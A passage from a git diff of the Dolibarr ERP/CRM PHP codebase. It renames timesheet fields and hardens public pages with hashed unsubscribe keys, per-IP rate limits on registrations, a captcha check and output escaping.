      '.$langs->trans('Qty').':'.$invoiceLine->qty; + print ' '.$langs->trans('TotalHT').':'.price($invoiceLine->total_ht); + } + } + } } } else { print $langs->trans("No"); @@ -2100,36 +2388,38 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print $hookmanager->resPrint; // Action column - print ''; - if (($action == 'editline' || $action == 'splitline') && GETPOST('lineid', 'int') == $task_time->rowid) { - print ''; - print ''; - print ' '; - print ''; - } elseif ($user->hasRight('projet', 'time') || $user->hasRight('projet', 'all', 'creer')) { // Read project and enter time consumed on assigned tasks - if ($task_time->fk_user == $user->id || in_array($task_time->fk_user, $childids) || $user->hasRight('projet', 'all', 'creer')) { - if (getDolGlobalString('MAIN_FEATURES_LEVEL') >= 2) { - print ' '; - print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; - print img_split('', 'class="pictofixedwidth"'); - print ''; - } - - print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; - print img_edit('default', 0, 'class="pictofixedwidth paddingleft"'); - print ''; - - print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; - print img_delete('default', 'class="pictodelete paddingleft"'); - print ''; - - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($task_time->rowid, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (($action == 'editline' || $action == 'splitline') && GETPOST('lineid', 'int') == $task_time->rowid) { + print ''; + print ''; + print ' '; + print ''; + } elseif ($user->hasRight('projet', 'time') || $user->hasRight('projet', 'all', 'creer')) { // Read project and enter time consumed on assigned tasks + if (in_array($task_time->fk_user, $childids) || $user->hasRight('projet', 'all', 'creer')) { + if (getDolGlobalString('MAIN_FEATURES_LEVEL') >= 2) { + print ' '; + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_split('', 'class="pictofixedwidth"'); + print ''; + } + + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_edit('default', 0, 'class="pictofixedwidth paddingleft"'); + print ''; + + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_delete('default', 'class="pictodelete paddingleft"'); + print ''; + + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($task_time->rowid, $arrayofselected)) { + $selected = 1; + } + print ' '; + print ''; } - print ' '; - print ''; } } } @@ -2147,16 +2437,16 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print ''; // Date - if (!empty($arrayfields['t.task_date']['checked'])) { + if (!empty($arrayfields['t.element_date']['checked'])) { print ''; if ($action == 'splitline' && GETPOST('lineid', 'int') == $task_time->rowid) { - if (empty($task_time->task_date_withhour)) { + if (empty($task_time->element_date_withhour)) { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline', 3, 3, 2, "timespent_date", 1, 0); } else { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline', 1, 1, 2, "timespent_date", 1, 0); } } else { - print dol_print_date(($date2 ? $date2 : $date1), ($task_time->task_date_withhour ? 'dayhour' : 'day')); + print dol_print_date(($date2 ? $date2 : $date1), ($task_time->element_date_withhour ? 'dayhour' : 'day')); } print ''; } @@ -2170,10 +2460,10 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Task ref - if (!empty($arrayfields['t.task_ref']['checked'])) { + if (!empty($arrayfields['t.element_ref']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; - $tasktmp->id = $task_time->fk_task; + $tasktmp->id = $task_time->fk_element; $tasktmp->ref = $task_time->ref; $tasktmp->label = $task_time->label; print $tasktmp->getNomUrl(1, 'withproject', 'time'); @@ -2182,7 +2472,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Task label - if (!empty($arrayfields['t.task_label']['checked'])) { + if (!empty($arrayfields['t.element_label']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; print dol_escape_htmltag($task_time->label); @@ -2232,13 +2522,13 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Time spent - if (!empty($arrayfields['t.task_duration']['checked'])) { + if (!empty($arrayfields['t.element_duration']['checked'])) { print ''; if ($action == 'splitline' && GETPOST('lineid', 'int') == $task_time->rowid) { - print ''; - print $form->select_duration('new_duration', $task_time->task_duration, 0, 'text'); + print ''; + print $form->select_duration('new_duration', $task_time->element_duration, 0, 'text'); } else { - print convertSecondToTime($task_time->task_duration, 'allhourmin'); + print convertSecondToTime($task_time->element_duration, 'allhourmin'); } print ''; } @@ -2247,7 +2537,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if (!empty($arrayfields['value']['checked'])) { print ''; print ''; - $value = price2num($task_time->thm * $task_time->task_duration / 3600, 'MT', 1); + $value = price2num($task_time->thm * $task_time->element_duration / 3600, 'MT', 1); print price($value, 1, $langs, 1, -1, -1, $conf->currency); print ''; print ''; @@ -2285,16 +2575,16 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print ''; // Date - if (!empty($arrayfields['t.task_date']['checked'])) { + if (!empty($arrayfields['t.element_date']['checked'])) { print ''; if ($action == 'splitline' && GETPOST('lineid', 'int') == $task_time->rowid) { - if (empty($task_time->task_date_withhour)) { + if (empty($task_time->element_date_withhour)) { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline_2', 3, 3, 2, "timespent_date", 1, 0); } else { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline_2', 1, 1, 2, "timespent_date", 1, 0); } } else { - print dol_print_date(($date2 ? $date2 : $date1), ($task_time->task_date_withhour ? 'dayhour' : 'day')); + print dol_print_date(($date2 ? $date2 : $date1), ($task_time->element_date_withhour ? 'dayhour' : 'day')); } print ''; } @@ -2308,10 +2598,10 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Task ref - if (!empty($arrayfields['t.task_ref']['checked'])) { + if (!empty($arrayfields['t.element_ref']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; - $tasktmp->id = $task_time->fk_task; + $tasktmp->id = $task_time->fk_element; $tasktmp->ref = $task_time->ref; $tasktmp->label = $task_time->label; print $tasktmp->getNomUrl(1, 'withproject', 'time'); @@ -2320,7 +2610,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Task label - if (!empty($arrayfields['t.task_label']['checked'])) { + if (!empty($arrayfields['t.element_label']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; print $task_time->label; @@ -2370,13 +2660,13 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Time spent - if (!empty($arrayfields['t.task_duration']['checked'])) { + if (!empty($arrayfields['t.element_duration']['checked'])) { print ''; if ($action == 'splitline' && GETPOST('lineid', 'int') == $task_time->rowid) { print ''; print $form->select_duration('new_duration_2', 0, 0, 'text'); } else { - print convertSecondToTime($task_time->task_duration, 'allhourmin'); + print convertSecondToTime($task_time->element_duration, 'allhourmin'); } print ''; } @@ -2451,7 +2741,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if (!count($tasks)) { $totalnboffields = 1; foreach ($arrayfields as $value) { - if ($value['checked']) { + if (!empty($value['checked'])) { $totalnboffields++; } } diff --git a/htdocs/public/cron/cron_run_jobs_by_url.php b/htdocs/public/cron/cron_run_jobs_by_url.php index 497c68954db..2cbea50bb90 100644 --- a/htdocs/public/cron/cron_run_jobs_by_url.php +++ b/htdocs/public/cron/cron_run_jobs_by_url.php @@ -142,26 +142,18 @@ if ($result < 0) { exit; } -$qualifiedjobs = array(); -foreach ($object->lines as $val) { - if (!verifCond($val->test)) { - continue; - } - $qualifiedjobs[] = $val; -} - // TODO Duplicate code. This sequence of code must be shared with code into cron_run_jobs.php script. // current date -$nbofjobs = count($qualifiedjobs); +$nbofjobs = count($object->lines); $nbofjobslaunchedok = 0; $nbofjobslaunchedko = 0; -if (is_array($qualifiedjobs) && (count($qualifiedjobs) > 0)) { +if (is_array($object->lines) && (count($object->lines) > 0)) { $savconf = dol_clone($conf); // Loop over job - foreach ($qualifiedjobs as $line) { + foreach ($object->lines as $line) { dol_syslog("cron_run_jobs.php cronjobid: ".$line->id." priority=".$line->priority." entity=".$line->entity." label=".$line->label, LOG_DEBUG); echo "cron_run_jobs.php cronjobid: ".$line->id." priority=".$line->priority." entity=".$line->entity." label=".$line->label; @@ -191,6 +183,10 @@ if (is_array($qualifiedjobs) && (count($qualifiedjobs) > 0)) { } } + if (!verifCond($line->test)) { + continue; + } + //If date_next_jobs is less of current date, execute the program, and store the execution time of the next execution in database if (($line->datenextrun < $now) && (empty($line->datestart) || $line->datestart <= $now) && (empty($line->dateend) || $line->dateend >= $now)) { echo " - qualified"; diff --git a/htdocs/public/emailing/mailing-read.php b/htdocs/public/emailing/mailing-read.php index 1c2bd6cea98..2382639ab6e 100644 --- a/htdocs/public/emailing/mailing-read.php +++ b/htdocs/public/emailing/mailing-read.php @@ -46,8 +46,8 @@ if (!defined('NOREQUIREMENU')) { if (!defined('NOIPCHECK')) { define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip } -if (!defined("NOSESSION")) { - define("NOSESSION", '1'); +if (!defined('NOSESSION')) { + define('NOSESSION', '1'); } /** @@ -58,6 +58,8 @@ if (!defined("NOSESSION")) { function llxHeader() { } + + /** * Footer empty * @@ -83,17 +85,17 @@ $securitykey = GETPOST('securitykey'); dol_syslog("public/emailing/mailing-read.php : tag=".$tag." securitykey=".$securitykey, LOG_DEBUG); -if ($securitykey != $conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY) { +if ($securitykey != dol_hash(getDolGlobalString('MAILING_EMAIL_UNSUBSCRIBE_KEY')."-".$tag."-".$email."-".$mtid, 'md5')) { print 'Bad security key value.'; exit; } -if (!empty($tag)) { +if (!empty($tag) && $tag != 'undefined') { dol_syslog("public/emailing/mailing-read.php : Update status of email target and thirdparty for tag ".$tag, LOG_DEBUG); $sql = "SELECT mc.rowid, mc.email, mc.statut, mc.source_type, mc.source_id, m.entity"; $sql .= " FROM ".MAIN_DB_PREFIX."mailing_cibles as mc, ".MAIN_DB_PREFIX."mailing as m"; - $sql .= " WHERE mc.fk_mailing = m.rowid AND mc.tag='".$db->escape($tag)."'"; + $sql .= " WHERE mc.fk_mailing = m.rowid AND mc.tag = '".$db->escape($tag)."'"; $resql = $db->query($sql); if (!$resql) dol_print_error($db); @@ -121,19 +123,19 @@ if (!empty($tag)) { } */ - //Update status of target + // Update status of target $statut = '2'; $sql = "UPDATE ".MAIN_DB_PREFIX."mailing_cibles SET statut=".((int) $statut)." WHERE rowid = ".((int) $obj->rowid); $resql = $db->query($sql); if (!$resql) dol_print_error($db); - //Update status communication of thirdparty prospect + // Update status communication of thirdparty prospect if ($obj->source_id > 0 && $obj->source_type == 'thirdparty' && $obj->entity) { $sql = "UPDATE ".MAIN_DB_PREFIX.'societe SET fk_stcomm = 3 WHERE fk_stcomm <> -1 AND entity = '.((int) $obj->entity).' AND rowid = '.((int) $obj->source_id); $resql = $db->query($sql); } - //Update status communication of contact prospect + // Update status communication of contact prospect if ($obj->source_id > 0 && $obj->source_type == 'contact' && $obj->entity) { $sql = "UPDATE ".MAIN_DB_PREFIX.'societe SET fk_stcomm = 3 WHERE fk_stcomm <> -1 AND entity = '.((int) $obj->entity).' AND rowid IN (SELECT sc.fk_soc FROM '.MAIN_DB_PREFIX.'socpeople AS sc WHERE sc.rowid = '.((int) $obj->source_id).')'; $resql = $db->query($sql); diff --git a/htdocs/public/emailing/mailing-unsubscribe.php b/htdocs/public/emailing/mailing-unsubscribe.php index a5291d06b7f..286818bad1c 100644 --- a/htdocs/public/emailing/mailing-unsubscribe.php +++ b/htdocs/public/emailing/mailing-unsubscribe.php @@ -61,6 +61,8 @@ global $user, $conf, $langs; $langs->loadLangs(array("main", "mails")); +$mtid = GETPOST('mtid'); +$email = GETPOST('email'); $tag = GETPOST('tag'); // To retreive the emailing, and recipient $unsuscrib = GETPOST('unsuscrib'); $securitykey = GETPOST('securitykey'); @@ -70,9 +72,9 @@ $securitykey = GETPOST('securitykey'); * Actions */ -dol_syslog("public/emailing/mailing-read.php : tag=".$tag." securitykey=".$securitykey, LOG_DEBUG); +dol_syslog("public/emailing/mailing-unsubscribe.php : tag=".$tag." securitykey=".$securitykey, LOG_DEBUG); -if ($securitykey != getDolGlobalString('MAILING_EMAIL_UNSUBSCRIBE_KEY')) { +if ($securitykey != dol_hash(getDolGlobalString('MAILING_EMAIL_UNSUBSCRIBE_KEY')."-".$tag."-".$email."-".$mtid, 'md5')) { print 'Bad security key value.'; exit; } @@ -89,6 +91,7 @@ if (empty($tag) || ($unsuscrib != '1')) { $head = ''; $replacemainarea = (empty($conf->dol_hide_leftmenu) ? '
      ' : '').'
      '; + llxHeader($head, $langs->trans("MailUnsubcribe"), '', '', 0, 0, '', '', '', 'onlinepaymentbody', $replacemainarea); dol_syslog("public/emailing/mailing-unsubscribe.php : Launch unsubscribe requests", LOG_DEBUG); @@ -105,12 +108,12 @@ if (!$resql) { $obj = $db->fetch_object($resql); if (empty($obj)) { - print 'Email tag not found. Operation canceled.'; + print 'Emailing tag '.$tag.' not found in database. Operation canceled.'; llxFooter('', 'private'); exit; } if (empty($obj->email)) { - print 'Email for this tag not valid. Operation canceled.'; + print 'Email for this tag is not valid. Operation canceled.'; llxFooter('', 'private'); exit; } diff --git a/htdocs/public/error-401.php b/htdocs/public/error-401.php index 3d453cd30e5..a160535ff10 100644 --- a/htdocs/public/error-401.php +++ b/htdocs/public/error-401.php @@ -20,6 +20,11 @@
      Sorry. You are not allowed to access this resource. +
      +
      + + No esta autorizado para acceder a este recurso. +
      diff --git a/htdocs/public/error-404.php b/htdocs/public/error-404.php index c964e49cd85..84832100026 100644 --- a/htdocs/public/error-404.php +++ b/htdocs/public/error-404.php @@ -20,6 +20,10 @@
      You requested a website or a page that does not exists. +
      +
      + la pagina o el recurso solicitado no existe. +
      diff --git a/htdocs/public/eventorganization/attendee_new.php b/htdocs/public/eventorganization/attendee_new.php index 8d7e4503c6b..56af2b78a44 100644 --- a/htdocs/public/eventorganization/attendee_new.php +++ b/htdocs/public/eventorganization/attendee_new.php @@ -1,5 +1,6 @@ + * Copyright (C) 2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -33,9 +34,7 @@ if (!defined('NOIPCHECK')) { if (!defined('NOBROWSERNOTIF')) { define('NOBROWSERNOTIF', '1'); } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} + // For MultiCompany module. // Do not use GETPOST here, function is not defined and define must be done before including main.inc.php @@ -56,6 +55,7 @@ require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/paymentterm.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; global $dolibarr_main_url_root; @@ -104,14 +104,16 @@ if ($type == 'global') { $errmsg .= $project->error; $errors = array_merge($errors, $project->errors); } else { - $sql = "SELECT COUNT(*) as nb FROM ".MAIN_DB_PREFIX."projet"; - $sql .= " WHERE ".MAIN_DB_PREFIX."eventorganization_conferenceorboothattendee = ".((int) $project->id); + $sql = "SELECT COUNT(*) as nb FROM ".MAIN_DB_PREFIX."eventorganization_conferenceorboothattendee"; + $sql .= " WHERE fk_project = ".((int) $project->id); - $resql = $db->query($resql); + $resql = $db->query($sql); if ($resql) { $obj = $db->fetch_object($resql); if ($obj) { $currentnbofattendees = $obj->nb; + } else { + dol_print_error($db); } } } @@ -227,7 +229,7 @@ if ($reshook < 0) { } // Action called when page is submitted -if (empty($reshook) && $action == 'add' && (!empty($conference->id) && $conference->status!=2 || !empty($project->id) && $project->status == Project::STATUS_VALIDATED)) { +if (empty($reshook) && $action == 'add' && (!empty($conference->id) && $conference->status==2 || !empty($project->id) && $project->status == Project::STATUS_VALIDATED)) { $error = 0; $urlback = ''; @@ -257,10 +259,12 @@ if (empty($reshook) && $action == 'add' && (!empty($conference->id) && $conferen // Check if attendee already exists (by email and for this event) $confattendee = new ConferenceOrBoothAttendee($db); + $filter = array(); + if ($type == 'global') { $filter = array('t.fk_project'=>((int) $id), 'customsql'=>'t.email="'.$db->escape($email).'"'); } - if ($action == 'conf') { + if ($type == 'conf') { $filter = array('t.fk_actioncomm'=>((int) $id), 'customsql'=>'t.email="'.$db->escape($email).'"'); } @@ -279,7 +283,39 @@ if (empty($reshook) && $action == 'add' && (!empty($conference->id) && $conferen $confattendee->fk_actioncomm = $id; $confattendee->note_public = $note_public; - $resultconfattendee = $confattendee->create($user); + $confattendee->ip = getUserRemoteIP(); + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + // Calculate nb of post for IP + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(ref) as nb_attendee"; + $sql .= " FROM ".MAIN_DB_PREFIX."eventorganization_conferenceorboothattendee"; + $sql .= " WHERE ip = '".$db->escape($confattendee->ip)."'"; + $sql .= " AND date_creation > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_attendee; + } + } + } + + $resultconforbooth = -1; + + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { + $error++; + $errmsg .= $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($confattendee->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + setEventMessage($errmsg, 'errors'); + } else { + $resultconfattendee = $confattendee->create($user); + } if ($resultconfattendee < 0) { $error++; $errmsg .= $confattendee->error; @@ -643,21 +679,25 @@ $formcompany = new FormCompany($db); llxHeaderVierge($langs->trans("NewRegistration")); -print '
      '; -print load_fiche_titre($langs->trans("NewRegistration"), '', '', 0, 0, 'center'); - print '
      '; print '
      '; -print '
      '; +// Sub banner +print '
      '; +print load_fiche_titre($langs->trans("NewRegistration"), '', '', 0, 0, 'center'); // Welcome message - print ''.$langs->trans("EvntOrgWelcomeMessage").''; print '
      '; -print ''.$project->title . ' '. $conference->label.'
      '; +// Title +print ''.dol_escape_htmltag($project->title . ' '. $conference->label).'
      '; +print '
      '; + +// Help text +print '
      '; + if ($project->date_start_event || $project->date_end_event) { - print ''; + print '
      '; } if ($project->date_start_event) { $format = 'day'; @@ -682,29 +722,31 @@ if ($project->date_start_event || $project->date_end_event) { print '
      '; } if ($project->location) { - print ''.$project->location.'
      '; + print ''.dol_escape_htmltag($project->location).'
      '; } +print '
      '; + + $maxattendees = 0; if ($conference->id > 0) { /* date of project is not date of event so commented - print $langs->trans("Date").': '; - print dol_print_date($conference->datep); - if ($conference->date_end) { - print ' - '; - print dol_print_date($conference->datef); - }*/ + print $langs->trans("Date").': '; + print dol_print_date($conference->datep); + if ($conference->date_end) { + print ' - '; + print dol_print_date($conference->datef); + }*/ } else { /* date of project is not date of event so commented - print $langs->trans("Date").': '; - print dol_print_date($project->date_start); - if ($project->date_end) { - print ' - '; - print dol_print_date($project->date_end); - }*/ + print $langs->trans("Date").': '; + print dol_print_date($project->date_start); + if ($project->date_end) { + print ' - '; + print dol_print_date($project->date_end); + }*/ $maxattendees = $project->max_attendees; // Max attendeed for the project/event } -print '
      '; if ($maxattendees && $currentnbofattendees >= $maxattendees) { print '
      '; @@ -785,7 +827,7 @@ if ((!empty($conference->id) && $conference->status == ConferenceOrBooth::STATUS print ''; // Country - print 'trans('Country') . ''; + print ''.$langs->trans('Country').''; print img_picto('', 'country', 'class="pictofixedwidth"'); $country_id = GETPOST('country_id'); if (!$country_id && !empty($conf->global->MEMBER_NEWFORM_FORCECOUNTRYCODE)) { @@ -846,12 +888,15 @@ if ((!empty($conference->id) && $conference->status == ConferenceOrBooth::STATUS print "\n"; print "
      "; - print '
      '; } } else { + print '

      '; print $langs->trans("ConferenceIsNotConfirmed"); + print '

      '; } +print '
      '; + llxFooterVierge(); $db->close(); diff --git a/htdocs/public/eventorganization/subscriptionok.php b/htdocs/public/eventorganization/subscriptionok.php index 043e0e8d021..d87d231d599 100644 --- a/htdocs/public/eventorganization/subscriptionok.php +++ b/htdocs/public/eventorganization/subscriptionok.php @@ -167,7 +167,7 @@ print $langs->trans("SubscriptionOk"); print "\n
      \n"; -htmlPrintOnlinePaymentFooter($mysoc, $langs, 0, $suffix); +htmlPrintOnlineFooter($mysoc, $langs, 0, $suffix); // Clean session variables to avoid duplicate actions if post is resent diff --git a/htdocs/public/members/new.php b/htdocs/public/members/new.php index 051506d54ac..ed46b8f1dae 100644 --- a/htdocs/public/members/new.php +++ b/htdocs/public/members/new.php @@ -30,11 +30,10 @@ * * Note that you can add following constant to change behaviour of page * MEMBER_NEWFORM_AMOUNT Default amount for auto-subscribe form - * MEMBER_NEWFORM_EDITAMOUNT 0 or 1 = Amount can be edited * MEMBER_MIN_AMOUNT Minimum amount * MEMBER_NEWFORM_PAYONLINE Suggest payment with paypal, paybox or stripe * MEMBER_NEWFORM_DOLIBARRTURNOVER Show field turnover (specific for dolibarr foundation) - * MEMBER_URL_REDIRECT_SUBSCRIPTION Url to redirect once subscribe submitted + * MEMBER_URL_REDIRECT_SUBSCRIPTION Url to redirect once registration form has been submitted (hidden option, by default we just show a message on same page or redirect to the payment page) * MEMBER_NEWFORM_FORCETYPE Force type of member * MEMBER_NEWFORM_FORCEMORPHY Force nature of member (mor/phy) * MEMBER_NEWFORM_FORCECOUNTRYCODE Force country @@ -46,15 +45,10 @@ if (!defined('NOLOGIN')) { if (!defined('NOCSRFCHECK')) { define("NOCSRFCHECK", 1); // We accept to go on this page from external web site. } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} if (!defined('NOBROWSERNOTIF')) { define('NOBROWSERNOTIF', '1'); } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} + // For MultiCompany module. // Do not use GETPOST here, function is not defined and define must be done before including main.inc.php @@ -73,16 +67,18 @@ require_once DOL_DOCUMENT_ROOT.'/adherents/class/adherent_type.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/cunits.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; // Init vars -$errmsg = ''; -$num = 0; -$error = 0; $backtopage = GETPOST('backtopage', 'alpha'); $action = GETPOST('action', 'aZ09'); +$errmsg = ''; +$num = 0; +$error = 0; + // Load translation files -$langs->loadLangs(array("main", "members", "companies", "install", "other")); +$langs->loadLangs(array("main", "members", "companies", "install", "other", "errors")); // Security check if (empty($conf->adherent->enabled)) { @@ -165,10 +161,17 @@ function llxHeaderVierge($title, $head = "", $disablejs = 0, $disablehead = 0, $ */ function llxFooterVierge() { + global $conf; + print '
      '; printCommonFooter('public'); + if (!empty($conf->use_javascript_ajax)) { + print "\n".''."\n"; + print ''."\n"; + } + print "\n"; print "\n"; } @@ -199,7 +202,7 @@ if (empty($reshook) && $action == 'add') { $error++; $errmsg .= $langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("Login"))."
      \n"; } - $sql = "SELECT login FROM ".MAIN_DB_PREFIX."adherent WHERE login='".$db->escape(GETPOST('login'))."'"; + $sql = "SELECT login FROM ".MAIN_DB_PREFIX."adherent WHERE login = '".$db->escape(GETPOST('login'))."'"; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); @@ -256,6 +259,17 @@ if (empty($reshook) && $action == 'add') { } } + // Check Captcha code if is enabled + if (!empty($conf->global->MAIN_SECURITY_ENABLECAPTCHA)) { + $sessionkey = 'dol_antispam_value'; + $ok = (array_key_exists($sessionkey, $_SESSION) === true && (strtolower($_SESSION[$sessionkey]) == strtolower($_POST['code']))); + if (!$ok) { + $error++; + $errmsg .= $langs->trans("ErrorBadValueForCode")."
      \n"; + $action = ''; + } + } + $public = GETPOSTISSET('public') ? 1 : 0; if (!$error) { @@ -277,152 +291,183 @@ if (empty($reshook) && $action == 'add') { $adh->pass = GETPOST('pass1'); } $adh->photo = GETPOST('photo'); - $adh->country_id = $conf->global->MEMBER_NEWFORM_FORCECOUNTRYCODE ? $conf->global->MEMBER_NEWFORM_FORCECOUNTRYCODE : GETPOST('country_id', 'int'); + $adh->country_id = getDolGlobalString("MEMBER_NEWFORM_FORCECOUNTRYCODE", GETPOST('country_id', 'int')); $adh->state_id = GETPOST('state_id', 'int'); - $adh->typeid = $conf->global->MEMBER_NEWFORM_FORCETYPE ? $conf->global->MEMBER_NEWFORM_FORCETYPE : GETPOST('typeid', 'int'); + $adh->typeid = getDolGlobalString("MEMBER_NEWFORM_FORCETYPE", GETPOST('typeid', 'int')); $adh->note_private = GETPOST('note_private'); - $adh->morphy = $conf->global->MEMBER_NEWFORM_FORCEMORPHY ? $conf->global->MEMBER_NEWFORM_FORCEMORPHY : GETPOST('morphy'); + $adh->morphy = getDolGlobalString("MEMBER_NEWFORM_FORCEMORPHY", GETPOST('morphy')); $adh->birth = $birthday; + $adh->ip = getUserRemoteIP(); + + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + // Calculate nb of post for IP + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(ref) as nb_adh"; + $sql .= " FROM ".MAIN_DB_PREFIX."adherent"; + $sql .= " WHERE ip = '".$db->escape($adh->ip)."'"; + $sql .= " AND datec > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_adh; + } + } + } + // Fill array 'array_options' with data from add form $extrafields->fetch_name_optionals_label($adh->table_element); $ret = $extrafields->setOptionalsFromPost(null, $adh); if ($ret < 0) { $error++; + $errmsg .= $adh->error; } - $result = $adh->create($user); - if ($result > 0) { - require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; - $object = $adh; + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { + $error++; + $errmsg .= $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($adh->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + } - $adht = new AdherentType($db); - $adht->fetch($object->typeid); + if (!$error) { + $result = $adh->create($user); + if ($result > 0) { + require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; + $object = $adh; - if ($object->email) { - $subject = ''; - $msg = ''; + $adht = new AdherentType($db); + $adht->fetch($object->typeid); - // Send subscription email - include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; - $formmail = new FormMail($db); - // Set output language - $outputlangs = new Translate('', $conf); - $outputlangs->setDefaultLang(empty($object->thirdparty->default_lang) ? $mysoc->default_lang : $object->thirdparty->default_lang); - // Load traductions files required by page - $outputlangs->loadLangs(array("main", "members")); - // Get email content from template - $arraydefaultmessage = null; - $labeltouse = $conf->global->ADHERENT_EMAIL_TEMPLATE_AUTOREGISTER; + if ($object->email) { + $subject = ''; + $msg = ''; - if (!empty($labeltouse)) { - $arraydefaultmessage = $formmail->getEMailTemplate($db, 'member', $user, $outputlangs, 0, 1, $labeltouse); + // Send subscription email + include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; + $formmail = new FormMail($db); + // Set output language + $outputlangs = new Translate('', $conf); + $outputlangs->setDefaultLang(empty($object->thirdparty->default_lang) ? $mysoc->default_lang : $object->thirdparty->default_lang); + // Load traductions files required by page + $outputlangs->loadLangs(array("main", "members")); + // Get email content from template + $arraydefaultmessage = null; + $labeltouse = $conf->global->ADHERENT_EMAIL_TEMPLATE_AUTOREGISTER; + + if (!empty($labeltouse)) { + $arraydefaultmessage = $formmail->getEMailTemplate($db, 'member', $user, $outputlangs, 0, 1, $labeltouse); + } + + if (!empty($labeltouse) && is_object($arraydefaultmessage) && $arraydefaultmessage->id > 0) { + $subject = $arraydefaultmessage->topic; + $msg = $arraydefaultmessage->content; + } + + $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, null, $object); + complete_substitutions_array($substitutionarray, $outputlangs, $object); + $subjecttosend = make_substitutions($subject, $substitutionarray, $outputlangs); + $texttosend = make_substitutions(dol_concatdesc($msg, $adht->getMailOnValid()), $substitutionarray, $outputlangs); + + if ($subjecttosend && 